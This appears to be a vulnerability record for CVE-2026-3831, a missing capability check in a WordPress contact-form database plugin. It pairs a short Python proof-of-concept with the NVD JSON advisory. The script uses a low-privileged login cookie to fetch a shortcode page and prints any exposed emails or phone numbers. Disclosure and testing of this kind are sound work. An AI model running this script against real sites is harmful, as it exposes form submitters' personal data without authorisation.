CVE-2026-3831

import requests # Target configuration target_url = "http://example.com/page-with-shortcode" attacker_cookie = "wordpress_logged_in_xxx=..." # Headers simulating an authenticated low-privileged user headers = { "Cookie": attacker_cookie, "User-Agent": "Mozilla/5.0 (PoC Scanner)" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: # Check if sensitive data is present in the response if "email" in response.text or "phone" in response.text: print("[+] Vulnerability confirmed! Data extracted.") print(response.text) else: print("[-] Data not found in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-3831", "sourceIdentifier": "[email protected]", "published": "2026-04-01T02:16:03.357", "lastModified": "2026-04-24T18:12:06.580", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the entries_shortcode() function in all versions up to, and including, 1.4.9. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract all form submissions - including names, emails, phone numbers."}, {"lang": "es", "value": "El plugin Database for Contact Form 7, WPforms, Elementor forms para WordPress es vulnerable a acceso no autorizado de datos debido a una comprobación de capacidad faltante en la función entries_shortcode() en todas las versiones hasta la 1.4.9, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, extraigan todos los envíos de formulario, incluyendo nombres, correos electrónicos y números de teléfono."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.4.8/contact-form-entries.php#L204", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a033ea44-8084-44c1-8e24-bdb1b61c3566?source=cve", "source": "[email protected]"}]}}